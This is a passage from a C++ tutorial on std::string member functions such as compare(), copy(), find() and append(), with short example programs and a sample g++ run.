<<"the str7 string."<<endl;
else if(str5 == 0)
cout<<"The first 6 characters of the str6 \nstring are equal to "
<<"the str7 string."<<endl;
else
cout<<"The first 6 characters of the str6 \nstring is greater than "
<<"the str7 string."<<endl;
return 0;
}

Output:

//compare() program example part II


#include <string>
#include <iostream>
using namespace std;

int main()
{
//comparing part of a string to part of a string
int str8;
string str9("TestFourth");
string str10("TFourthT");
cout<<"str9 string is: "<<str9<<endl;
cout<<"str10 string is: "<<str10<<endl;

str8 = str9.compare(4, 6, str10, 1, 6);


cout<<"Operation: str9.compare(4, 6, str10, 1, 6)"<<endl;
if(str8 < 0)
cout<<"The 6 characters from position 4 of the str9 string \nare less than "
<<"the 6 characters str10 string from position 1."<<endl;
else if(str8 == 0)
cout<<"The 6 characters from position 4 of the str9 string\nare equal to "
<<"the 6 characters str10 string from position 1."<<endl;
else
cout<<"The 6 characters from position 4 of the str9 string\nis greater than "
<<"the 6 characters str10 string from position 1."<<endl;
cout<<endl;

//comparing a string to a C-string


int str11;
string str12("Fifth");
const char* str13 = "Sixth";
cout<<"The string str12 is: "<<str12<<endl;
cout<<"The C-string str13 is: "<<str13<<endl;

str11 = str12.compare(str13);
cout<<"Operation: str12.compare(str13)"<<endl;
if(str11 < 0)
cout<<"The str12 string is less than the str13 C-string."<<endl;
else if(str11 == 0)

www.tenouk.com Page 24 of 38
cout<<"The str12 string is equal to the str13 C-string."<<endl;
else
cout<<"The str12 string is greater than the str13 C-string."<<endl;
cout << endl;

//Comparing part of a string to a C-string


int str14;
string str15("SeventhEight");
const char* str16 = "Eight";
cout<<"str15 string is: "<<str15<<endl;
cout<<"str16 string is: "<<str16<<endl;

str14 = str15.compare(7, 5, str16);


cout<<"Operation: str15.compare(7, 5, str16)"<<endl;
if(str14 < 0)
cout<<"The last 5 characters of the str15 \nstring are less than "
<<"the str16 C-string."<<endl;
else if(str14 == 0)
cout<<"The last 5 characters of the str15 \nstring are equal to "
<<"the str16 C-string."<<endl;
else
cout<<"The last 5 characters of the str15 \nstring is greater than "
<<"the str16 C-string."<<endl;
cout << endl;

//comparing part of a string to part of an equal length of a C-string


int str17;
string str18("ReTestEighth");
const char* str19 = "TestEighth";
cout<<"str18 string is: "<<str18<<endl;
cout<<"str19 C-string is: "<<str19<<endl;

str17 = str18.compare(2, 4, str19, 4);


cout<<"Operation: str18.compare(4, 6, str19, 6)"<<endl;
if(str17 < 0)
cout<<"The 4 characters from position 2 of the str18 string \nare less than "
<<"the first 4 characters of the str19 C-string."<<endl;
else if(str17 == 0)
cout<<"The 4 characters from position 2 of the str18 string \nare equal to "
<<"the first 4 characters of the str19 C-string."<<endl;
else
cout<<"The 4 characters from position 2of the str18 string \nis greater than "
<<"the first 4 characters of the str19 C-string."<<endl;
return 0;
}

Output:

copy()

www.tenouk.com Page 25 of 38
- A null character is not appended to the end of the copy.
- The return value is the number of characters actually copied.

//copy()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Testing the copy()");
basic_string <char>::iterator StrIter;
//declare and initialize arrays to 0
char Array1[20] = {0};
char Array2[10] = {0};
basic_string <char>:: pointer Array1Ptr = Array1;
basic_string <char>:: value_type *Array2Ptr = Array2;

//iterate character by character...


cout<<"str1 string is: ";
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;

basic_string <char>::size_type NewArray1;


NewArray1 = str1.copy(Array1Ptr, 18);
cout<<"Operation: str1.copy(Array1Ptr, 18)"<<endl;
cout<<"The number of copied characters in Array1 is: "<<unsigned int(NewArray1)<<endl;
cout<<"Now, Array1 is: "<<Array1<<"\n\n";

basic_string <char>::size_type NewArray2;


NewArray2 = str1.copy(Array2Ptr, 9, 2);
cout<<"Operation: str1.copy(Array2Ptr, 9, 2)"<<endl;
cout<<"The number of copied characters in Array2 is: "<<unsigned int(NewArray2)<<endl;
cout<<"Now, Array2 is: "<<Array2Ptr<<endl;
return 0;
}

Output:

data()

- Objects of type string belonging to the C++ template class basic_string <char> are not
necessarily null terminated.
- The return type for data() is not a valid C-string, because no null character gets appended. The null
character '\0 ' is used as a special character in a C-string to mark the end of the string, but has no
special meaning in an object of type string and may be a part of the string object just like any other
character.
- There is an automatic conversion from const char* into strings, but the string class does not
provide for automatic conversions from C-style strings to objects of type basic_string <char>.
- The returned string should not be modified, because this could invalidate the pointer to the string, or
deleted, because the string has a limited lifetime and is owned by the class string.
- The return value is a pointer to the first element of the array containing the contents of the string, or, for
an empty array, a non-null pointer that cannot be dereferenced.

//data(), length(), strlen()


//and c_str()
#include <string>
#include <iostream>
using namespace std;

www.tenouk.com Page 26 of 38
int main()
{
string str1("Testing the data()");
cout<<"str1 string object is: "<<str1<<endl;
cout<<"Operation: str1.length()"<<endl;
cout<<"The length of str1 = "<<unsigned int(str1.length())<<"\n\n";

//Converting a string to an array of characters


const char *ptr1 = 0;
ptr1= str1.data();
cout<<"Operation: str1.data()"<<endl;
cout<<"The modified ptr1 string object is: "<<ptr1<<endl;
cout<<"Operation: strlen(ptr1)"<<endl;
cout<<"The length of character array str1 = "<<unsigned int(strlen(ptr1))<<"\n\n";

//Converting a string to a C-style string


const char *cstr1 = str1.c_str();
cout<<"Operation: str1.c_str()"<<endl;
cout<<"The C-style string c_str1 is: "<<cstr1<<endl;
cout<<"Operation: strlen(ptr1)"<<endl;
cout<<"The length of C-style string str1 = "<<unsigned int(strlen(cstr1))<<endl;
return 0;
}

Output:

empty()

- The return value is true if the string object contains no characters; false if it has at least one character.
- The empty() is equivalent to size == 0.

//empty()
#include <string>
#include <iostream>
using namespace std;

int main()
{
bool Var1, Var2;
string str1("Testing the empty()");
cout<<"str1 string object is: "<<str1<<endl;

Var1 = str1.empty();
//test the emptiness
cout<<"Operation: str1.empty()"<<endl;
if(Var1)
cout<<"str1 string object is empty."<<endl;
else
cout<<"str1 string object is not empty."<<"\n\n";

//An example of an empty string object


string str3;
Var2 = str3.empty();
cout<<"Operation: str3.empty()"<<endl;
//test the emptiness
if(Var2)
cout<<"str3 string object is empty."<<endl;
else

www.tenouk.com Page 27 of 38
cout<<"str3 string object is not empty."<<endl;
return 0;
}

Output:

end()

- The return value is a random-access iterator that addresses the location succeeding the last element in a
string.
- end() is often used to test whether an iterator has reached the end of its string. The value returned by
end() should not be dereferenced.
- If the return value of end() is assigned to a const_iterator, the string object cannot be
modified. If the return value of end() is assigned to an iterator, the string object can be modified.

//begin(), end()
#include <string>
#include <iostream>
using namespace std;

int main( )
{
string str1("Testing the end()");
basic_string <char>::iterator StrIter, Str1Iter;

Str1Iter = str1.end();
//minus the null character, so point to the real
//last character in the string...
Str1Iter--;
cout<<"Operation: str1.end() then Str1Iter--"<<endl;
cout<<"str1 string is: "<<str1<<endl;
cout<<"The last character of the str1 string is: "<<*Str1Iter<<endl;

//end() used to test when an iterator has reached the end of its string
cout<<"Using forward iterator the str1 is: ";
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<"\n\n";

//The dereferenced iterator can be used to modify a character


//The last event, this pointer point to the last character in the string
*Str1Iter = 'F';
cout<<"Operation: *Str1Iter = 'F'"<<endl;
cout<<"Now, the last character of the modified str1 is: "<<*Str1Iter<<endl;
cout<<"Then the modified str1 string is: "<<str1<<endl;
return 0;
}

Output:

www.tenouk.com Page 28 of 38
erase()

- The return value: For the first two member functions, an iterator addressing the first character after the
last character removed by the member function.
- For the third member function, a reference to the string object from which the elements have been
erased.
- The third member function returns *this.

//erase()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//using a range...
string str1("Testing the erase() part I");
basic_string <char>::iterator Str1Iter;
cout<<"str1 string object is: "<< str1<<endl;

//don't forget the null character


Str1Iter = str1.erase(str1.begin() + 4, str1.end() - 6);
cout<<"Operation: str1.erase(str1.begin()+4, str1.end()-6)"<<endl;
cout<<"The first element after those removed is: "<<*Str1Iter<<endl;
cout<<"The modified str1 string object is: "<<str1<<endl;

//erasing a char pointed to by an iterator


string str2("Testing the erase() part II");
basic_string <char>::iterator Str2Iter;

cout<<"\nstr2 string object is: "<<str2<<endl;


Str2Iter = str2.erase(str2.begin() + 3);
cout<<"Operation: str2.erase(str2.begin() + 3)"<<endl;
cout<<"The first element after those removed is: "<<*Str2Iter<<endl;
cout<<"The modified str2 string object is: \n"<<str2<<endl;

//erasing a number of chars after a char


string str3("Testing the erase() part III"), NewStr3;
cout<<"\nThe original string object str3 is: \n"<<str3<<endl;
NewStr3 = str3.erase(6, 8);
cout<<"Operation: str3.erase(6, 6)"<<endl;
cout<<"The modified NewStr3 string object is: \n"<<NewStr3<<endl;
return 0;
}

Output:

find()

- The return value is the index of the first character of the substring searched for when successful;
otherwise npos.

www.tenouk.com Page 29 of 38
//find() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//don't forget the null character
//searching for a single character in a string
string str1("Search part I, a character in a string");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find('r', 2);


cout<<"Operation: str1.find('r', 2)"<<endl;
if(index1 != npos)
cout<<"The index of the 1st 'r' found after the 2nd"
<<" position in str1 is: "<<unsigned int(index1)<<endl;
else
cout<<"The character 'r' was not found in str1."<<endl;
cout<<endl;

index2 = str1.find('t');
cout<<"Operation: str1.find('t')"<<endl;
if(index2 != npos)
cout<<"The index of the 't' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 't' was not found in str1."<<endl;
cout<<endl;

//---------------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Search part II, a substring in string");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;

const char *cstr1 = "sub";


index3 = str2.find(cstr1, 5);
cout<<"Operation: str2.find(cstr1, 5)"<<endl;
if(index3 != npos)
cout<<"The index of the 1st element of 'sub' after\nthe 5th "
<<"position in str2 is: "<<unsigned int(index3)<<endl;
else
cout<<"The substring 'sub' was not found in str2"<<endl;
cout<<endl;

const char *cstr2 = "bstring";


index4 = str2.find(cstr2, 0);
cout<<"Operation: str2.find(cstr2, 0)"<<endl;
if(index4 != npos)
cout<<"The index of the 1st element of 'bstring' "
<<"after\nthe 0th position in str2 is: "<<unsigned int(index4)<<endl;
else
cout<<"The substring 'bstring' was not found in str2"<<endl;
return 0;
}

Output:

www.tenouk.com Page 30 of 38
//find() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{
//don't forget the null character
//searching a string for a substring as specified by a C-string
static const basic_string <char>::size_type npos = -1;
string str3("Again, search part III");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;

const char *cstr3 = "part";


index5 = str3.find(cstr3);
cout<<"Operation: str3.find(cstr3)"<<endl;
if(index5 != npos)
cout<<"The index of the 1st element of 'part' "
<<"in str3 is: "<<unsigned int(index5)<<endl;
else
cout<<"The substring 'part' was not found in str3"<<endl;
cout<<endl;

const char *cstr4 = "ar";


index6 = str3.find(cstr4, index5 + 1, 2);
cout<<"Operation: str3.find(cstr4, index5 + 1, 2)"<<endl;
if(index6 != npos)
cout<<"The index of the next occurrence of 'ar' in "
<<"str3 begins at: "<<unsigned int(index6)<<endl;
else
cout<<"There is no next occurrence of 'ar' in str3."<<endl;
cout<<endl;

//--------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Finally!, search part IV");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;

string str5("part");
index7 = str4.find(str5, 4);
cout<<"Operation: str4.find(str5, 4)"<<endl;
if(index7 != npos)
cout<<"The index of the 1st element of 'part' "
<<"after\nthe 4th position in str4 is: "<<unsigned int(index7)<<endl;
else
cout<<"The substring 'part' was not found in str4"<<endl;
cout<<endl;

string str6("arch");
index8 = str4.find(str6);
cout<<"Operation: str4.find(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st element of 'arch' in "
<<"str4 is: "<<unsigned int(index8)<<endl;
else
cout<<"The substring 'arch' was not found in str4"<<endl;
return 0;

www.tenouk.com Page 31 of 38
}

Output:

find_first_not_of()

- The return value is the index of the first character of the substring searched for when successful;
otherwise npos.

//find_first_not_of() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching a single character in a string
string str1("Testing the find_first_not_of() part 1");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find_first_not_of('_', 3);


cout<<"Operation: str1.find_first_not_of('_', 3)"<<endl;
if(index1 != npos)
cout<<"The index of the 1st '_' found after the 3rd\nposition in str1 is: "<<unsigned
int(index1)<<endl;
else
cout<<"The character '_' was not found in str1"<<endl;

index2 = str1.find_first_not_of('T');
cout<<"\nOperation: str1.find_first_not_of('T')"<<endl;
if(index2 != npos)
cout<<"The index of the 'non T' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 'non T' was not found in str1."<<endl;
cout<<endl;

//---------------------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing the find_first_not_of() part 2");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
const char *cstr2 = "df";

index3 = str2.find_first_not_of(cstr2, 4);


cout<<"Operation: str2.find_first_not_of(cstr2, 4)"<<endl;
if(index3 != npos)
cout<<"The index of the 1st occurrence of an element\nof 'df' in str2 after the 4th "
<<"position is: "<<unsigned int(index3)<<endl;
else
cout<<"Elements of the substring 'df' were not\nfound in str2 after the 4th position."<<endl;

const char *cstr3 = "gz";


index4 = str2.find_first_not_of(cstr3);
cout<<"\nOperation: str2.find_first_not_of(cstr3)"<<endl;
if(index4 != npos)

www.tenouk.com Page 32 of 38
cout<<"The index of the 1st element of 'gz' after\nthe 0th position in str2 is: "
<<unsigned int(index4)<<endl;
else
cout<<"The substring 'gz' was not found in str2"<<endl;
return 0;
}

Output:

//find_first_not_of() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching a string for a substring as specified by a C-string
string str3("Testing the find_first_not_of() part 3");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;

const char *cstr4 = "nro";


index5 = str3.find_first_not_of(cstr4);
cout<<"Operation: str3.find_first_not_of(cstr4)"<<endl;
if(index5 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element in str3\nother than one of the "
<<"characters in 'nro' is: "<<unsigned int(index5)<<endl;
else
cout<<"Elements in str3 contain only characters "
<<" in the string 'nro'. "<<endl;

const char *cstr5 = "nro";


index6 = str3.find_first_not_of(cstr5, index5+1, 2);
cout<<"\nOperation: str3.find_first_not_of(cstr5, index5+1, 2)"<<endl;
if(index6 != npos)
cout<<"The index of the second occurrence of an "
<<"element\nof 'nro' in str3 after the 0th "
<<"position is: "<<unsigned int(index6)<<endl<<endl;
else
cout<<"Elements in str3 contain only characters "
<<" in the string 'nro'"<<endl;
cout<<endl;

//--------------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing the find_first_not_of() part 4");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;

string str5("tf7");
index7 = str4.find_first_not_of(str5, 3);
cout<<"Operation: str4.find_first_not_of(str5, 3)"<<endl;

if(index7 != npos)

www.tenouk.com Page 33 of 38
cout<<"The index of the 1st non occurrence of an element\nof 'tf7' "
<<"in str4 after the 3rd position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements other than those in the substring 'tf7' "
<<"were not found in the string str4."<<endl;

string str6("in");
index8 = str4.find_first_not_of(str6);
cout<<"\nOperation: str4.find_first_not_of(str6)"<<endl;

if(index8 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element of\n'in' in str4 after the 0th "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements other than those in the substring"
<<" 'in' were not found in the string str4."<<endl;
return 0;
}

Output:

find_first_of()

- The return value is the index of the first character of the substring searched for when successful;
otherwise npos.

//find_first_of() part I
#include <string>
#include <iostream>
using namespace std;

int main( )
{
//searching for a single character in a string
string str1("find_first_of()");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find_first_of('r', 3);


cout<<"Operation: str1.find_first_of('r', 3)"<<endl;
if(index1 != npos)
cout<<"The index of the 1st 'r' found after the 3rd\n"
<<"position in str1 is: "<<unsigned int(index1)<<endl;
else
cout<<"The character 'r' was not found in str1"<<endl;

index2 = str1.find_first_of('z');
cout<<"\nOperation: str1.find_first_of('z')"<<endl;
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 'z' was not found in str1."<<endl;

www.tenouk.com Page 34 of 38
//--------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing 123...Testing 123");
cout<<"\nstr2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;

const char *cstr = "s1";


index3 = str2.find_first_of(cstr, 3);
cout<<"Operation: str2.find_first_of(cstr, 3)"<<endl;
if(index3 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element\nof 's1' in str2 after the 3rd "
<<"position is: "<<unsigned int(index3)<<endl;
else
cout<<"Elements of the substring 's1' were not\n"
<<"found in str2 after the 3rd position."<<endl;

const char *cstr1 = "g3";


index4 = str2.find_first_of(cstr1);
cout<<"\nOperation: str2.find_first_of(cstr1)"<<endl;
if(index4 != npos)
cout <<"The index of the 1st element of 'g3'\n"
<<"after the 0th position in str2 is: "<<unsigned int(index4)<<endl;
else
cout<<"The substring 'g3' was not found in str2."<<endl;
return 0;
}

Output:

//find_first_of() part II
#include <string>
#include <iostream>
using namespace std;

int main( )
{
//searching a string for a substring as specified by a C-string
string str3("Testing 456...Testing 456...789");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;

const char *cstr2 = "t6";


index5 = str3.find_first_of(cstr2);
cout<<"Operation: str3.find_first_of(cstr2)"<<endl;
if(index5 != npos)
cout<<"The index of the 1st occurrence of an"
<<"element\nof 't6' in str3 after the 0th "
<<"position is: "<<unsigned int(index5)<<endl;
else
cout<<"Elements of the substring 't6' were not\n"
<<"found in str3 after the 0th position."<<endl;

const char *cstr3 = "t68";


index6 = str3.find_first_of(cstr3, index5 + 1, 2);

www.tenouk.com Page 35 of 38
cout<<"\nOperation: str3.find_first_of(cstr3, index5 + 1, 2)"<<endl;
if(index6 != npos)
cout<<"The index of the second occurrence of an"
<<"element\nof 't68' in str3 after the 0th "
<<"position is: "<<unsigned int(index6)<<endl;
else
cout<<"Elements of the substring 't68' were not\n"
<<"found in str3 after the first occurrence."<<endl;
cout<<endl;

//------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("find_first_of() and find_first_of()");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;

string str5("dfz");
index7 = str5.find_first_of(str5, 3);
cout<<"Operation: str5.find_first_of(str5, 3)"<<endl;
if(index7 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element\nof 'dfz' in str4 after the 3rd "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements of the substring 'dfz' were not\n"
<<"found in str4 after the 3rd position."<<endl;

string str6("fo");
index8 = str4.find_first_of(str6);
cout<<"\nOperation: str4.find_first_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element\nof 'fo' in str4 after the 0th "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements of the substring 'fo' were not\n"
<<"found in str4 after the 0th position."<<endl;
return 0;
}

Output:

- To be continued on next Module :o).


- For Cs’ character and string manipulations please refer to ModuleX.
- The following is a program example compiled using g++.

//**********string.cpp**************
//append()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//appending a C-string to a string

www.tenouk.com Page 36 of 38
string str1("Playing ");
const char *str2 = "with a string";

cout<<"str1 is: "<<str1<<endl;


cout<<"str2, C string is: "<<str2<<endl;
str1.append(str2);
cout<<"Operation: str1.append(str2)"<<endl;
cout<<"Appending str2 to str1: "<<str1<<endl;

//appending part of a C-string to a string


string str3 ("Replaying ");
const char *str4 = "the string ";

cout<<"\nstr3 string is: "<<str3<<endl;


cout<<"str4 C-string is: "<<str4<<endl;
str3.append(str4, 6);
cout<<"Operation: str3.append(str4, 6)"<<endl;
cout<<"Appending part of the str4 to string str3: \n"<<str3<<endl;

//appending part of one string to another


string str5("Again "), str6("string manipulation");

cout<<"\nstr5 is: "<<str5<<endl;


cout<<"str6 is: "<<str6<<endl;
str5.append(str6, 4, 6);
cout<<"Operation: str5.append(str6, 4, 6)"<<endl;
cout<<"The appended string is: "<<str5<<endl;

//appending one string to another in two ways,


//comparing append and operator []
string str7("First "), str8("Second "), str9("Third ");
cout<<"\nstr7 is: "<<str7<<"\nstr8 is: "<<str8<<"\nstr9 is: "<<str9<<endl;
str7.append(str8);
cout<<"Operation: str7.append(str8)"<<endl;
cout<<"The appended string str7 is: "<<str7<<endl;
str7 += str9;
cout<<"Operation: str7 += str9"<<endl;
cout<<"The re appended string is: "<<str7<<endl;

//appending characters to a string


string str10("What string");
cout<<"\nstr10 string is: "<<str10<<endl;
str10.append(3, '?');
cout<<"Operation: str10.append(3, '?')"<<endl;
cout<<"str10 string appended with ? is: "<<str10<<endl;

//appending a range of one string to another


string str11("Finally "), str12("comes the END ");
cout<<"\nstr11 is: "<<str11<<" str12 is: "<<str12<<endl;
str11.append(str12.begin() + 6, str12.end() - 1);
cout<<"Operation:\nstr11.append(str12.begin() + 6, str12.end() - 1)"<<endl;
cout<<"The appended str11 String is: "<<str11<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ string.cpp -o stringapp


[bodo@bakawali ~]$ ./stringapp

str1 is: Playing


str2, C string is: with a string
Operation: str1.append(str2)
Appending str2 to str1: Playing with a string

str3 string is: Replaying


str4 C-string is: the string
Operation: str3.append(str4, 6)
Appending part of the str4 to string str3:
Replaying the st

str5 is: Again


str6 is: string manipulation
Operation: str5.append(str6, 4, 6)
The appended string is: Again ng man

str7 is: First


str8 is: Second
str9 is: Third
Operation: str7.append(str8)
The appended string str7 is: First Second

www.tenouk.com Page 37 of 38
Operation: str7 += str9
The re appended string is: First Second Third

str10 string is: What string


Operation: str10.append(3, '?')
str10 string appended with ? is: What string???

str11 is: Finally str12 is: comes the END


Operation:
str11.append(str12.begin() + 6, str12.end() - 1)
The appended str11 String is: Finally the END

------------------------------To be continued-------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 38 of 38
MODULE 26
C++ CHARACTER AND STRING
MANIPULATION PART II

My Training Period: hours

Note:
This is continuation from the previous Module. Program examples in this Module compiled using Visual C++ 6.0
with SP6 and Visual C++ .Net. Some program examples may generate warning and runtime errors caused by
buffer/stack overflow. These good compilers have some protection for errors :o). g++ (run on Fedora 3 machine)
examples, given at the end of this Module.

Abilities

▪ Able to understand and use string template classes of the <string> in manipulating character
and string in C++.
▪ Able to understand the functionalities string template classes of the <string> in manipulating
character and string in C++.
▪ Able to appreciate the usefulness and use these string template classes in your own programs.

26.1 Continuation from previous Module…

find_last_not_of()

- The return value is the index of the first character of the substring searched for when successful;
otherwise npos.

//find_last_not_of() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching for a single character in a string
string str1("daddy donkey is dead");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find_last_not_of('d', 2);


cout<<"Operation: str1.find_last_not_of('d', 2)"<<endl;
if(index1 != npos)
cout<<"The index of the last non 'd'\nfound before the "
<<"2nd position in str1 is: "<<unsigned int(index1)<< endl;
else
cout<<"The non 'd' character was not found."<<endl;

index2 = str1.find_last_not_of('d');
cout<<"\nOperation: str1.find_last_not_of('d')"<<endl;
if(index2 != npos)
cout<<"The index of the non 'd' found in str1 is: "
<<unsigned int(index2)<<endl;
else
cout<<"The Character 'non d' was not found in str1."<<endl;
cout<<endl;

//----------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing Testing Testing");
cout<<"str2 string is: "<<str2<<"\n";
basic_string <char>::size_type index3, index4;

const char *cstr = "ei";


index3 = str2.find_last_not_of(cstr, 12);
cout<<"Operation: str2.find_last_not_of(cstr, 12)"<<endl;
if(index3 != npos)
cout<<"The index of the last occurrence of a "
<<"element not\nof 'ei' in str2 before the 12th "
<<"position is: "<<unsigned int(index3)<<endl;
else
cout<<"Elements not of the substring 'ei' were not "

www.tenouk.com Page 1 of 30
<<"\n found in str2 before the 12th position."<<endl;

const char *cstr1 = "g t";


index4 = str2.find_last_not_of(cstr1);
cout<<"\nOperation: str2.find_last_not_of(cstr1)"<<endl;
if(index4 != npos)
cout<<"The index of the last element not "
<<"in 'g t'\nis: "<<unsigned int(index4)<<endl;
else
cout<<"The elements of the substring 'g t' were "
<<"not found in str2"<<endl;
return 0;
}

Output:

//find_last_not_of() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching a string for a substring as specified by a C-string
string str3("Playing Testing Boring");
cout<<"str3 string is: "<<str3<<"\n";
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;

const char *cstr2 = "PTB";


index5 = str3.find_last_not_of(cstr2);
cout<<"Operation: str3.find_last_not_of(cstr2)"<<endl;
if(index5 != npos)
cout<<"The index of the last occurrence of an "
<<"element in str3\nother than one of the "
<<"characters in 'PTB' is: "<<unsigned int(index5)<<endl;
else
cout<<"Elements in str3 contain only characters in the string 'PTB'"<<endl;

const char *cstr3 = "gTB";


index6 = str3.find_last_not_of(cstr3, 6, index5-1);
cout<<"\nOperation: str3.find_last_not_of(cstr3, 6, index5-1)"<<endl;
if(index6 != npos)
cout<<"The index of the occurrence of an "
<<"element\nnot in 'gTB' in str3 is: "
<<unsigned int(index6)<<endl;
else
cout<<"Elements in str3 contains only characters "
<<"in the string 'gTB'."<<endl;
cout<<endl;

//-----------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing 123 Testing 123");
cout<<"str4 string is: "<<str4<<"\n";
basic_string <char>::size_type index7, index8;

www.tenouk.com Page 2 of 30
string str5("3 1");
index7 = str4.find_last_not_of(str5, 18);
cout<<"Operation: str4.find_last_not_of(str5, 18)"<<endl;
if(index7 != npos)
cout<<"The index of the last occurrence of an "
<<"element not\nin '3 1' in str4 before the 18th "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements other than those in the substring"
<<" '3 1' were not found in the string str4"<<endl;

string str6("Testing");
index8 = str4.find_last_not_of(str6);
cout<<"\nOperation: str4.find_last_not_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the last occurrence of an "
<<"element not in\n'Testing' in str4 before the end "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements other than those in the substring\n"
<<"'Testing' were not found in the string str4"<<endl;
return 0;
}

Output:

find_last_of()

- The return value is the index of the last character of the substring searched for when successful;
otherwise npos.

//find_last_of() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching for a single character in a string
string str1("Testing 1234 Testing 1234");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find_last_of('g', 24);


cout<<"Operation: str1.find_last_of('g', 24)"<<endl;
if(index1 != npos)
cout<<"The index of the last 'g' found before\nthe 24th"
<<" position in str1 is: "<<unsigned int(index1)<<endl;
else
cout<<"The character 'g' was not found in str1"<<endl;

index2 = str1.find_first_of('z');
cout<<"\nOperation: index2 = str1.find_first_of('z')"<<endl;
if(index2 != npos)

www.tenouk.com Page 3 of 30
cout<<"The index of the 'z' found in str1 is: "
<<unsigned int(index2)<<endl;
else
cout<<"The character 'z' was not found in str1"<<endl;
cout<<endl;

//--------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing 1234 Testing 1234");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;

const char *cstr = "t1";


index3 = str2.find_last_of(cstr, 25);
cout<<"Operation: str2.find_last_of(cstr, 25)"<<endl;
if(index3 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof 't1' in str2 before the 25th "
<<"position is: "<<unsigned int(index3)<<endl;
else
cout<<"Elements of the substring 't1' were not\n"
<<"found in str2 before the 25th position."<<endl;

const char *cstr1 = "g3";


index4 = str2.find_last_of(cstr1);
cout<<"\nOperation: str2.find_last_of(cstr1)"<<endl;
if(index4 != npos)
cout<<"The index of the last element of 'g3'\n"
<<"after the 0th position in str2 is: "
<<unsigned int(index4)<<endl;
else
cout<<"The substring 'g3' was not found in str2."<<endl;
return 0;
}

Output:

//find_last_of() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching a string for a substring as specified by a C-string
string str3("Testing 1234 Testing 1234");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5;
static const basic_string <char>::size_type npos = -1;

const char *cstr2 = "s1";


index5 = str3.find_last_of(cstr2, 20, 20);
cout<<"Operation: str3.find_last_of(cstr2, 20, 20)"<<endl;
if(index5 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof 's1' in str3 before the 20th "
<<"position is: "<<unsigned int(index5)<<endl;

www.tenouk.com Page 4 of 30
else
cout<<"Elements of the substring 's1' were not\n"
<<"found in str3 before the 20th position."<<endl;
cout<<endl;

//-------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing 1234 Testing 1234");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index6, index7;

string str5("416");
index6 = str4.find_last_of(str5, 25);
cout<<"Operation: str4.find_last_of(str5, 25)"<<endl;
if(index6 != npos)
cout<<"The index of the last occurrence of an "
